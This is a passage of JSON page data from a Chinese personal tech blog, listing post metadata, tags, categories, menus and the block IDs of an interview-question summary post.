+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"4d955058-b605-46cf-b242-1535b732af30":{"value":{"id":"4d955058-b605-46cf-b242-1535b732af30","version":543,"type":"page","content":["94097044-a58e-40c5-be1d-75eb512d5216","370c01a4-fece-437b-97b4-a3903b046a0d","7e5373d9-36af-47f5-b580-6c1069b4bc6b","0d1e3dba-f5f4-46ce-8c72-fda4cb1a0338","87e2357a-6c01-427d-95dd-672d55bbedb1","5e194ac0-9d6f-46f5-9eaf-c0db0f8aae46","6a27d3ec-1ae7-473e-8095-7f51022a9f5e","2c072746-48e5-4e35-a862-b10ab005bb24","5fa04443-840e-41c3-86b1-afb81fb387bf","a6bf00e4-3c7b-45c1-99b6-f43c65762c94","39c5adc4-bbe0-4733-8f3f-189c152564fc","a6c237cd-5c47-4088-b5a6-d07c51cfd216","86f3eb3e-290c-49fd-9d12-3e3fc607f077","0bb5b078-893c-4131-bb28-a05caa2e6bf1","152ea3f7-11ec-4089-a236-0752dd1a9baa","e9457161-c188-4226-a1fa-76324a0ab93e","4d111cf0-98c6-45dd-b9f9-ad5b46bc99f0","f952b930-42d9-4222-85e4-e3af3a6e5f7e","ef92a7dd-3406-4e39-b283-7a02980adf74","d766c3d1-da48-4956-a2b7-50eba201d819","6c337917-d607-4b82-97d4-5f46df6c1850","7b92e954-f187-4f29-ab4a-25ce696c2fb4","1e538b97-9dea-411e-b8a3-612ff1679d18","987df5e7-5f5e-4222-aa50-41cb6a6e2e36","c976bdb2-060f-4660-a219-b720114eeb0f","56ea5e25-6484-4212-a26a-1c30f6214002","161392b7-d2c5-487f-bdd1-10bfbc7c894c","a828adf5-2d61-443e-bffb-37e1faf71729","c2db0595-401c-4dda-8573-5ace5cfa6c2a","6c5b3b74-7d79-4516-8fa5-bdcbcde6bddd","cb515ef2-5ea3-416d-95d7-5351ec9a6009","64637345-edfc-42c7-b5bb-8901adb8f491","cde1d0b9-3028-4b55-8cab-ea9ce74fcfe7","fbd54d11-c9d1-4ba1-8341-517026854505","83f6aaa7-99ea-4530-a48b-5c54052fe2b3","a2ea40a2-9a67-482f-8a91-e19a9d9949d6","6ca0cc02-7660-4cee-9b83-49967ec4c03b","25bb46cf-bfcb-4384-a4a6-08a538481954","e9d2e038-445d-4483-91aa-db0432458dda","d8891a15-54be-4a9d-8272-75dc5d4234f5","2caafc2b-6882-4573-a26a-c68c841a2300","0c2f8969-de8c-4430-a2b2-5e6e0eec856a","25f5e986-6f63-43f2-8ba9-609c5e923ac7","192550a0-f3f3-4b97-9cd2-30430f52d165","8b7501dc-2569-4980-8ff0-e0a4856f36c6","da006e21-d8a2-4fb5-80fd-39543958d5b8","485f1680-0c15-4199-a877-290c7b137109","cdcb2b9e-cbf4-4fed-a5e4-d18d2b7ca311","3d70c404-4eb3-4bc9-8729-0e9cfb571b4b","550f05b1-b477-4b97-9b19-064507f6c549","8340f040-b4b9-4723-b289-6295aefb5384","35fb0289-9494-46cd-b8be-a794b2459b3c","aac7f690-f4c3-445a-92cc-3a288144bc26","b8c5fbfa-d631-4318-83da-c723fca26b95","6d5e484c-d262-44d6-ad17-91403a894cd3","8f022449-f2a9-4d8f-baff-9d79fe7fbdf0","36801087-90ee-4ec3-9c0a-8ce34e0f04c5","6ec36b41-9287-4b23-903b-1f6f13ddb99f","c544cab6-4601-4386-861e-c28f4e23ff19","a19fcdc7-516a-4863-b650-8713b61edc5e","0bcad159-8b68-467f-a015-3f971852a85c","a2d379cc-f8c9-4166-971a-5f8945618b55","ae299847-ec78-4e35-b1a6-5849e48de964","4740f560-3d4f-4bf9-b63f-79bfe9198704","383fc985-f68d-49b8-b635-a6277995628a","5c7cff64-9528-4773-9a74-1a715f29c1f2","4fc27c9d-eeec-4558-bd6f-016b8f818a6f","c463cacc-0e91-46b8-b6bd-e976ab531a21","78e64261-a101-4177-b889-30c99aba8760","9b948452-0218-4d24-9121-4867ff8db4a5","259a52fe-4bb6-499f-8a52-d02ffeda2ffd","94bc6e4d-4ae6-4461-a2e9-80c3f16d2936","a0ab2ffb-7cd9-4d37-8681-7bfffbbb0067","c8ffdc96-5c30-42e2-abbb-71c35aae4215","429dbed9-44d5-43f1-b63a-5f6a8db88a05","9562f4bc-7b94-45f3-93f8-e3d3ef9ef704","cce5871c-3a6c-40e9-8100-4c9667629c8c","b6c9a666-4881-416d-95d0-f23aa6a89183","83139158-884c-4c84-b600-eb170e123b1a","8411cced-8089-4329-a878-0a40b889fbac","7b22f290-0711-4089-a726-4a1aa424cc7b","153718ce-6a20-4ca2-aa4d-a31a6035d274","719bb0cd-1a9c-4e6e-b1c9-02d5dc9cc544","f55f775f-3718-4484-9c45-b13fa0160233","fdc9ab6e-aa2d-4f4c-9709-162586f14214","b0633d56-163f-43f5-a3d1-da6b3dcd5e82","114abe39-b778-4045-823b-04d1c0a1d4ac","d7b7326b-0826-468e-b495-5f562bc8709a","6331176a-dbf4-429a-9cfe-ec08b99f875f","f4923f9d-7699-4cf3-9390-f7723dd01a59","97c0b884-2810-48c2-a95d-3bbd80ae4912","50f801d8-75cc-4303-b12b-336957b196b0","1397a0d6-faa4-492a-b5b2-d613382bf0d2","1008e50a-2b10-4499-8264-360d96b40260","28d9c46b-2e8a-46f8-b17c-4c9c2014ffd4","9724ceb9-fc11-40b3-a21c-f9cfe220fc21","01423606-d12d-4432-b1d9-2177116f9ecf","eb70cff2-d3aa-4ddd-be90-62766b7ef81f","a72fa141-283a-44cc-b5e3-04a886c4533a","06050231-17db-4623-b739-3b8d957274c7","b7791544-094f-4b77-bc91-d17f6d619e32","1faa4740-1069-481e-8ddd-e431f614438c","7bb8984c-cdbc-4f46-a0e5-fd3d364d8cdc","e31dbb38-c125-4804-813b-daa7f8697147","8cfc6261-0026-4a6f-a626-09105dcd2245","b70d1269-428f-496c-9efb-120919b7d152","8543624c-904a-4f0b-9547-26fb1c51c176","eee44b63-3322-41e4-bd8f-218350a5b548","9cee212b-4a9f-4f5d-b5b8-201d427f7313","446f5eef-907e-4712-aaea-f5afe0c47d29","7c7f5723-3ecb-48b4-9e0c-ad2a97180746","1bd6699c-10df-4f67-b45f-903e05f31b54","93b6727f-51cd-4e16-96d0-b7e7d92a05cb","13306cf7-7d11-46ac-97c1-80cd0b527d34","641e29c4-0f8e-4c8d-9d7c-3a942455be2b","6698637c-265d-4b9a-a604-f8df3916beaf","4f00f3f9-8b07-4901-800c-249ac9ffbc7f","a26df421-5876-4f40-866b-0abeae9ea1c3","3f46e018-4b7e-41d3-904d-3f22e3a069f2","e6109935-af02-42d9-8ced-6c9301687c2c","eb010be0-aeb0-4d52-a412-d1ce01ca8819","c7945b96-a88e-478f-89ff-1beaa47ead51","e04fb2d2-9236-411c-99e0-e15bb341f7f9","e22eb09f-55d0-4f27-9e92-5d580b889001","8c935cba-fb3e-48be-acb7-457c1fa98cb2","fea86322-42e9-49e8-9153-a52ff964c49a","41e5f723-06cd-4b04-b819-c10d16f5fddf","9f4c0c55-c055-4da7-8470-723b91c2da4b","7b26ba4c-6099-4bad-8192-ada1543a3613","c6e89621-3940-4535-939a-bf76f881d1b5","f7f96026-d1eb-4652-8efb-90f34516df6e","2d0e1947-c263-4e83-b7ca-54f3621aa928","f459549c-f5aa-40c6-a5d8-f39f530fe451","fc636f3a-022a-495c-b63a-4ccf279c8867","d28ad1ad-5481-40ca-a5a9-0b797717480b","1dee8a6c-026d-4d14-9e57-36ffc71513c0","2f468459-3c5e-4f79-8ee1-c34f38a605a4","93740a03-8f20-400e-afb0-09b6680836da","324c4d49-0baf-4ad4-80ed-9ed36ac01c11","6e8bf4f8-dff0-4f13-a370-4cc671c9e1e8","03d8bd76-d4a0-4cc3-adab-02ffbbe52973","070655f3-fe6b-4332-b10f-58c2078ab2bf","45e5ebda-f8cf-4de3-8e2b-dc77babac0d1","929bd2c0-8a18-4b2e-a955-3346248e1480","0995a439-9e8a-4669-a9d5-7aa375ce13f3","0a01784f-2228-4d7a-b890-81ac5bc7c165","1966f572-29f2-4be1-a098-7ab4eaa3cb1a","77af2988-8168-4d90-b4fa-62c2286bb310","24b77ba0-e7b8-4356-b9c5-48664845391d","9a01ce6f-a7dc-4323-88c6-954a216d8698","29f333c7-dc63-44b2-9b78-2fb60d1b2f3d","7efcdb5a-117d-49f1-bf81-a2f47a678b7c","bd82efd5-2a0b-4a2e-9594-e81649a26bcf","00965e64-5a49-44b2-82cb-1ee2c338ef8c","22012bbf-2959-47d0-9b80-dc2d0bb1bb71","886a5a45-b056-47fe-a239-e93366f41885","14f503ce-e23c-4947-a981-3bdbe4ec76cd","67ae3973-9d73-40ff-8cde-a1d18e470995","e63d2933-b543-4fd2-86ef-c72f1811141c","854282f1-782e-4c55-9093-f22149b29d91","22d3559a-92b0-4e26-a7b3-78b2b84a71c8","0e032888-2c91-4aea-b9f8-41605b4b3771","d5f92888-ebe2-46d3-91a8-56a0ae22ceaf","2e773a44-5a2f-43a0-9a02-9b1b5fa07591","e3b36ef2-fdbc-489c-8d5e-a49c5afa916f","92eea23c-3f6e-41a4-8485-ac6259772354","ddc26b49-812e-4810-9ca0-a037c0b10206","d51b6612-93a0-4ee3-9984-e89acb0ba71a","555f449c-347e-4e98-8c79-c126dd73a549","061afd50-142f-4ec8-9c05-85449974bad3","6a457063-018a-4d4d-b2b0-55fd7b13a46b","65dbe164-7139-42c0-ad29-a487d31a6b0d","9fdd4f83-e293-4fa3-8a15-96a86bc83451","6bfafd6a-52f2-4af2-b95d-12ff4221a89e","94826d1a-e002-44d2-89cb-9160eefa4211","177e3856-c825-4517-b084-650b6eeea020","03543170-f5fa-4329-8ab9-3c1a72d9e27c","89e8ec29-0acf-4ba5-830d-6406823d0b88","49346313-f713-4b87-8b65-f3b2be626e41","59bb3866-ee38-41a4-8ac5-1e97520192ed","f8db62b0-7be1-496f-b798-a731b06b5bc0","7df90f38-1a9f-4ba7-abdc-5f515aca0bd6","d41a72da-e1fa-485f-98a7-769732e62f77","1f909985-df10-4280-9b2b-a5c4edf4e7b4","dee39f9f-2269-4cd5-952c-e51b16ccc295","7995f917-8616-483e-83ec-44cb5cfdcd6f","1c02b7b5-4ab9-4b9d-9fcb-40acd5910df0","ac0e2478-b76d-4c6f-8a3f-c78eb14ca784","d6165a35-4714-420b-9df1-4a281510bba4","e654ddf1-ca3c-40e4-8e1d-5ae120845e65","b07ccaf0-6980-4f4a-ac5a-cda16ccedc06","01d6f2b1-d69f-4f7a-9734-5577a1a5b37d","204fed94-9d03-42e7-84e2-a1e80d84a376","39f32e90-ebd7-48ca-a09c-24f6d7b4cbcd","577a65aa-1225-43a8-8e66-b3d5bed6658a","a7cd8066-55a2-407e-a522-286216adf41f","af7741f0-3dd3-48fa-8565-4fd4de7a96ce","e8b150bb-6e6b-4b71-9c03-6b3fb5e4dee0","31ce73a4-7616-4f81-b0cc-9437754f65e0","8e675995-1af7-46c1-8a47-11f2bd6fb01b","057c07ed-292a-480f-b051-ab4304e699a3","b3b7d0c7-e837-4234-9d58-fa0c0a3e3139","f7aa6298-36f3-48cf-b9cc-41d91048a573","64f13aed-adf5-4775-b7be-5996283ba343","c0d05640-a4c2-4ac6-8c97-132df2580b41","41b454e3-d4eb-4b4e-9d22-2887ddb597c6","851888a0-d488-4011-9ad3-db7bf59c8824","14901e30-c437-4e50-9e9d-780b0dfcae73","f95d18de-eeb0-47ca-92ef-1b384280d345","1900cce8-ce98-44e0-bc9e-0f12fb57ab33","35c983e7-4e6a-4c21-a2fb-eb6c5a2ea627","bf4a7c2c-1c07-45d2-9cbb-593c79f0b5f8","47cae7c8-a3c5-4ad5-aa5d-41a9136da696","a2ad1f75-82ab-442d-a311-1ccc17eea59c","343321b2-150d-461c-82e6-6f7cccb0840e","b570a5c9-06b4-4a59-bb54-977ca1a09ab7","3680a251-b89c-429c-9fc5-afcf35e4d19f","5fe27bd3-de3c-4665-b34f-ddc7cbe8925b","89eeb9c5-a026-43c0-8cda-9dddaa2b5fc3","6e6d1a76-1701-474d-b253-adff3505695b","0c0afd00-0fe2-4603-804b-7d97775f3ad4","777444d0-2724-46e1-9a8d-80ff9cc29433","4ca3a490-63d0-4580-a218-0f566abfacdf","b0d68024-1c45-4af0-9a3f-9e47bcdeaa63","6daadbca-5895-46c